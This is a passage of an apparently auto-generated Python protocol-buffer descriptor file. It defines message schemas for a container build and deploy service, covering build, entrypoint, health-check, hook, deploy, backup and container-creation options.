number=5, type=9, cpp_type=9, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='envs', full_name='pb.Build.envs', index=5,
number=6, type=11, cpp_type=10, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='args', full_name='pb.Build.args', index=6,
number=7, type=11, cpp_type=10, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='labels', full_name='pb.Build.labels', index=7,
number=8, type=11, cpp_type=10, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='artifacts', full_name='pb.Build.artifacts', index=8,
number=9, type=11, cpp_type=10, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='cache', full_name='pb.Build.cache', index=9,
number=10, type=11, cpp_type=10, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
],
extensions=[
],
nested_types=[_BUILD_ENVSENTRY, _BUILD_ARGSENTRY, _BUILD_LABELSENTRY, _BUILD_ARTIFACTSENTRY, _BUILD_CACHEENTRY, ],
enum_types=[
],
options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
],
serialized_start=1752,
serialized_end=2259,
)
_BUILDS_BUILDSENTRY = _descriptor.Descriptor(
name='BuildsEntry',
full_name='pb.Builds.BuildsEntry',
filename=None,
file=DESCRIPTOR,
containing_type=None,
fields=[
_descriptor.FieldDescriptor(
name='key', full_name='pb.Builds.BuildsEntry.key', index=0,
number=1, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='value', full_name='pb.Builds.BuildsEntry.value', index=1,
number=2, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
],
extensions=[
],
nested_types=[],
enum_types=[
],
options=_descriptor._ParseOptions(descriptor_pb2.MessageOptions(), _b('8\001')),
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
],
serialized_start=2327,
serialized_end=2383,
)
_BUILDS = _descriptor.Descriptor(
name='Builds',
full_name='pb.Builds',
filename=None,
file=DESCRIPTOR,
containing_type=None,
fields=[
_descriptor.FieldDescriptor(
name='stages', full_name='pb.Builds.stages', index=0,
number=1, type=9, cpp_type=9, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='builds', full_name='pb.Builds.builds', index=1,
number=2, type=11, cpp_type=10, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
],
extensions=[
],
nested_types=[_BUILDS_BUILDSENTRY, ],
enum_types=[
],
options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
],
serialized_start=2261,
serialized_end=2383,
)
_BUILDIMAGEOPTIONS = _descriptor.Descriptor(
name='BuildImageOptions',
full_name='pb.BuildImageOptions',
filename=None,
file=DESCRIPTOR,
containing_type=None,
fields=[
_descriptor.FieldDescriptor(
name='name', full_name='pb.BuildImageOptions.name', index=0,
number=1, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='user', full_name='pb.BuildImageOptions.user', index=1,
number=2, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='uid', full_name='pb.BuildImageOptions.uid', index=2,
number=3, type=5, cpp_type=1, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='tag', full_name='pb.BuildImageOptions.tag', index=3,
number=4, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='builds', full_name='pb.BuildImageOptions.builds', index=4,
number=5, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
],
extensions=[
],
nested_types=[],
enum_types=[
],
options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
],
serialized_start=2385,
serialized_end=2486,
)
_HOOKOPTIONS = _descriptor.Descriptor(
name='HookOptions',
full_name='pb.HookOptions',
filename=None,
file=DESCRIPTOR,
containing_type=None,
fields=[
_descriptor.FieldDescriptor(
name='after_start', full_name='pb.HookOptions.after_start', index=0,
number=1, type=9, cpp_type=9, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='before_stop', full_name='pb.HookOptions.before_stop', index=1,
number=2, type=9, cpp_type=9, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='force', full_name='pb.HookOptions.force', index=2,
number=3, type=8, cpp_type=7, label=1,
has_default_value=False, default_value=False,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
],
extensions=[
],
nested_types=[],
enum_types=[
],
options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
],
serialized_start=2488,
serialized_end=2558,
)
_HEALTHCHECKOPTIONS = _descriptor.Descriptor(
name='HealthCheckOptions',
full_name='pb.HealthCheckOptions',
filename=None,
file=DESCRIPTOR,
containing_type=None,
fields=[
_descriptor.FieldDescriptor(
name='tcp_ports', full_name='pb.HealthCheckOptions.tcp_ports', index=0,
number=1, type=9, cpp_type=9, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='http_port', full_name='pb.HealthCheckOptions.http_port', index=1,
number=2, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='url', full_name='pb.HealthCheckOptions.url', index=2,
number=3, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='code', full_name='pb.HealthCheckOptions.code', index=3,
number=4, type=5, cpp_type=1, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
],
extensions=[
],
nested_types=[],
enum_types=[
],
options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
],
serialized_start=2560,
serialized_end=2645,
)
_ENTRYPOINTOPTIONS = _descriptor.Descriptor(
name='EntrypointOptions',
full_name='pb.EntrypointOptions',
filename=None,
file=DESCRIPTOR,
containing_type=None,
fields=[
_descriptor.FieldDescriptor(
name='name', full_name='pb.EntrypointOptions.name', index=0,
number=1, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='command', full_name='pb.EntrypointOptions.command', index=1,
number=2, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='privileged', full_name='pb.EntrypointOptions.privileged', index=2,
number=3, type=8, cpp_type=7, label=1,
has_default_value=False, default_value=False,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='dir', full_name='pb.EntrypointOptions.dir', index=3,
number=4, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='log_config', full_name='pb.EntrypointOptions.log_config', index=4,
number=5, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='publish', full_name='pb.EntrypointOptions.publish', index=5,
number=6, type=9, cpp_type=9, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='healthcheck', full_name='pb.EntrypointOptions.healthcheck', index=6,
number=7, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='hook', full_name='pb.EntrypointOptions.hook', index=7,
number=8, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='restart_policy', full_name='pb.EntrypointOptions.restart_policy', index=8,
number=9, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
],
extensions=[
],
nested_types=[],
enum_types=[
],
options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
],
serialized_start=2648,
serialized_end=2868,
)
_DEPLOYOPTIONS_NETWORKSENTRY = _descriptor.Descriptor(
name='NetworksEntry',
full_name='pb.DeployOptions.NetworksEntry',
filename=None,
file=DESCRIPTOR,
containing_type=None,
fields=[
_descriptor.FieldDescriptor(
name='key', full_name='pb.DeployOptions.NetworksEntry.key', index=0,
number=1, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='value', full_name='pb.DeployOptions.NetworksEntry.value', index=1,
number=2, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
],
extensions=[
],
nested_types=[],
enum_types=[
],
options=_descriptor._ParseOptions(descriptor_pb2.MessageOptions(), _b('8\001')),
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
],
serialized_start=3369,
serialized_end=3416,
)
_DEPLOYOPTIONS_METAENTRY = _descriptor.Descriptor(
name='MetaEntry',
full_name='pb.DeployOptions.MetaEntry',
filename=None,
file=DESCRIPTOR,
containing_type=None,
fields=[
_descriptor.FieldDescriptor(
name='key', full_name='pb.DeployOptions.MetaEntry.key', index=0,
number=1, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='value', full_name='pb.DeployOptions.MetaEntry.value', index=1,
number=2, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
],
extensions=[
],
nested_types=[],
enum_types=[
],
options=_descriptor._ParseOptions(descriptor_pb2.MessageOptions(), _b('8\001')),
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
],
serialized_start=3418,
serialized_end=3461,
)
_DEPLOYOPTIONS_NODELABELSENTRY = _descriptor.Descriptor(
name='NodelabelsEntry',
full_name='pb.DeployOptions.NodelabelsEntry',
filename=None,
file=DESCRIPTOR,
containing_type=None,
fields=[
_descriptor.FieldDescriptor(
name='key', full_name='pb.DeployOptions.NodelabelsEntry.key', index=0,
number=1, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='value', full_name='pb.DeployOptions.NodelabelsEntry.value', index=1,
number=2, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
],
extensions=[
],
nested_types=[],
enum_types=[
],
options=_descriptor._ParseOptions(descriptor_pb2.MessageOptions(), _b('8\001')),
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
],
serialized_start=3463,
serialized_end=3512,
)
_DEPLOYOPTIONS = _descriptor.Descriptor(
name='DeployOptions',
full_name='pb.DeployOptions',
filename=None,
file=DESCRIPTOR,
containing_type=None,
fields=[
_descriptor.FieldDescriptor(
name='name', full_name='pb.DeployOptions.name', index=0,
number=1, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='entrypoint', full_name='pb.DeployOptions.entrypoint', index=1,
number=2, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='podname', full_name='pb.DeployOptions.podname', index=2,
number=3, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='nodename', full_name='pb.DeployOptions.nodename', index=3,
number=4, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='image', full_name='pb.DeployOptions.image', index=4,
number=5, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='extra_args', full_name='pb.DeployOptions.extra_args', index=5,
number=6, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='cpu_quota', full_name='pb.DeployOptions.cpu_quota', index=6,
number=7, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='memory', full_name='pb.DeployOptions.memory', index=7,
number=8, type=3, cpp_type=2, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='count', full_name='pb.DeployOptions.count', index=8,
number=9, type=5, cpp_type=1, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='env', full_name='pb.DeployOptions.env', index=9,
number=10, type=9, cpp_type=9, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='dns', full_name='pb.DeployOptions.dns', index=10,
number=11, type=9, cpp_type=9, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='extra_hosts', full_name='pb.DeployOptions.extra_hosts', index=11,
number=12, type=9, cpp_type=9, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='volumes', full_name='pb.DeployOptions.volumes', index=12,
number=13, type=9, cpp_type=9, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='networks', full_name='pb.DeployOptions.networks', index=13,
number=14, type=11, cpp_type=10, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='networkmode', full_name='pb.DeployOptions.networkmode', index=14,
number=15, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='user', full_name='pb.DeployOptions.user', index=15,
number=16, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='debug', full_name='pb.DeployOptions.debug', index=16,
number=17, type=8, cpp_type=7, label=1,
has_default_value=False, default_value=False,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='openStdin', full_name='pb.DeployOptions.openStdin', index=17,
number=18, type=8, cpp_type=7, label=1,
has_default_value=False, default_value=False,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='meta', full_name='pb.DeployOptions.meta', index=18,
number=19, type=11, cpp_type=10, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='nodelabels', full_name='pb.DeployOptions.nodelabels', index=19,
number=20, type=11, cpp_type=10, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='raw_resource', full_name='pb.DeployOptions.raw_resource', index=20,
number=21, type=8, cpp_type=7, label=1,
has_default_value=False, default_value=False,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
],
extensions=[
],
nested_types=[_DEPLOYOPTIONS_NETWORKSENTRY, _DEPLOYOPTIONS_METAENTRY, _DEPLOYOPTIONS_NODELABELSENTRY, ],
enum_types=[
],
options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
],
serialized_start=2871,
serialized_end=3512,
)
_REMOVEIMAGEOPTIONS = _descriptor.Descriptor(
name='RemoveImageOptions',
full_name='pb.RemoveImageOptions',
filename=None,
file=DESCRIPTOR,
containing_type=None,
fields=[
_descriptor.FieldDescriptor(
name='podname', full_name='pb.RemoveImageOptions.podname', index=0,
number=1, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='nodename', full_name='pb.RemoveImageOptions.nodename', index=1,
number=2, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='images', full_name='pb.RemoveImageOptions.images', index=2,
number=3, type=9, cpp_type=9, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
],
extensions=[
],
nested_types=[],
enum_types=[
],
options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
],
serialized_start=3514,
serialized_end=3585,
)
_BACKUPOPTIONS = _descriptor.Descriptor(
name='BackupOptions',
full_name='pb.BackupOptions',
filename=None,
file=DESCRIPTOR,
containing_type=None,
fields=[
_descriptor.FieldDescriptor(
name='id', full_name='pb.BackupOptions.id', index=0,
number=1, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='src_path', full_name='pb.BackupOptions.src_path', index=1,
number=2, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
],
extensions=[
],
nested_types=[],
enum_types=[
],
options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
],
serialized_start=3587,
serialized_end=3632,
)
_ERRORDETAIL = _descriptor.Descriptor(
name='ErrorDetail',
full_name='pb.ErrorDetail',
filename=None,
file=DESCRIPTOR,
containing_type=None,
fields=[
_descriptor.FieldDescriptor(
name='code', full_name='pb.ErrorDetail.code', index=0,
number=1, type=3, cpp_type=2, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='message', full_name='pb.ErrorDetail.message', index=1,
number=2, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
],
extensions=[
],
nested_types=[],
enum_types=[
],
options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
],
serialized_start=3634,
serialized_end=3678,
)
_BUILDIMAGEMESSAGE = _descriptor.Descriptor(
name='BuildImageMessage',
full_name='pb.BuildImageMessage',
filename=None,
file=DESCRIPTOR,
containing_type=None,
fields=[
_descriptor.FieldDescriptor(
name='id', full_name='pb.BuildImageMessage.id', index=0,
number=1, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='status', full_name='pb.BuildImageMessage.status', index=1,
number=2, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='progress', full_name='pb.BuildImageMessage.progress', index=2,
number=3, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='error', full_name='pb.BuildImageMessage.error', index=3,
number=4, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='stream', full_name='pb.BuildImageMessage.stream', index=4,
number=5, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='error_detail', full_name='pb.BuildImageMessage.error_detail', index=5,
number=6, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
],
extensions=[
],
nested_types=[],
enum_types=[
],
options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
],
serialized_start=3681,
serialized_end=3816,
)
_CREATECONTAINERMESSAGE_CPUENTRY = _descriptor.Descriptor(
name='CpuEntry',
full_name='pb.CreateContainerMessage.CpuEntry',
filename=None,
file=DESCRIPTOR,
containing_type=None,
fields=[
_descriptor.FieldDescriptor(
name='key', full_name='pb.CreateContainerMessage.CpuEntry.key', index=0,
number=1, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='value', full_name='pb.CreateContainerMessage.CpuEntry.value', index=1,
number=2, type=3, cpp_type=2, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
],
extensions=[
],
nested_types=[],
enum_types=[
],
options=_descriptor._ParseOptions(descriptor_pb2.MessageOptions(), _b('8\001')),
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
],
serialized_start=608,
serialized_end=650,
)
_CREATECONTAINERMESSAGE_PUBLISHENTRY = _descriptor.Descriptor(
name='PublishEntry',
full_name='pb.CreateContainerMessage.PublishEntry',
filename=None,
file=DESCRIPTOR,
containing_type=None,
fields=[
_descriptor.FieldDescriptor(
name='key', full_name='pb.CreateContainerMessage.PublishEntry.key', index=0,
number=1, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='value', full_name='pb.CreateContainerMessage.PublishEntry.value', index=1,
number=2, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
],
extensions=[
],
nested_types=[],
enum_types=[
],
options=_descriptor._ParseOptions(descriptor_pb2.MessageOptions(), _b('8\001')),
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
],
serialized_start=4135,
serialized_end=4181,
)
_CREATECONTAINERMESSAGE = _descriptor.Descriptor(
name='CreateContainerMessage',
full_name='pb.CreateContainerMessage',
filename=None,
file=DESCRIPTOR,
containing_type=None,
fields=[
_descriptor.FieldDescriptor(
name='podname', full_name='pb.CreateContainerMessage.podname', index=0,
number=1, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='nodename', full_name='pb.CreateContainerMessage.nodename', index=1,
number=2, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='id', full_name='pb.CreateContainerMessage.id', index=2,
number=3, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='name', full_name='pb.CreateContainerMessage.name', index=3,
number=4, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='error', full_name='pb.CreateContainerMessage.error', index=4,
number=5, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='success', full_name='pb.CreateContainerMessage.success', index=5,
number=6, type=8, cpp_type=7, label=1,
has_default_value=False, default_value=False,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='cpu', full_name='pb.CreateContainerMessage.cpu', index=6,
number=7, type=11, cpp_type=10, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
